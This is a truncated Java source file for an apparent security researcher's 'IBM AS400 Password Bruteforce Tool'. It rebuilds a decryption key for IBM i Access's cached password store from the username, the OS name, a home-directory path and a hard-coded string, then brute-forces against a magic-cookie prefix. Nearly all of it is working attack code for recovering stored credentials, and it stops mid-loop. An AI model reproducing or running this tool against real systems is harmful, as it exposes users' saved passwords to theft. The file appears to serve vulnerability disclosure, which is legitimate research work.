// Your First Program import javax.crypto.Cipher; import java.security.*; import javax.crypto.*; import javax.crypto.spec.*; import java.util.*; import java.io.*; class HelloWorld { public static boolean bytesArrayStartsWith(byte[] haystack, byte[] needle) { for (int i = 0; i < needle.length; i++) { if(haystack[i] != needle[i]){ return false; } } return true; } public static void printBytes(byte[] encryptedBytes, int bytesRead){ for (int i = 0; i < bytesRead; i++) { System.out.print(String.format("%02X ", encryptedBytes[i])); } } public static void main(String[] args) { //String magicCookieStr = "com.ibm.iaccess.base.AcsPasswordCache"; String magicCookieStr = "IBM Corporation Rochester"; String passwordCandidate = ""; byte[] encryptedBytes = new byte[0x30]; byte[] MAGIC_COOKIE_PREFIX = magicCookieStr.getBytes(); int bytesRead=0; System.out.println("\nIBM AS400 Password Bruteforce Tool v0.3 by MichaƂ Majchrowicz AFINE Team\n"); if(args.length < 3){ System.out.println("Usage: java as400_password_bruteforce_tool.java \n"); System.exit(-1); } String username = args[2]; String osname = args[1]; String pwd = args[3]; String fullKeySpace = username+osname+pwd+"/home/"+username+"Behemoth"; System.out.println("\033[35mFull keyspace: " + fullKeySpace); System.out.println("Full keyspace length: " + fullKeySpace.length()+"\n"); char[] keyspaceChars = fullKeySpace.toCharArray(); char[] reducedKeyspaceChars={'B'}; for(int i=0;i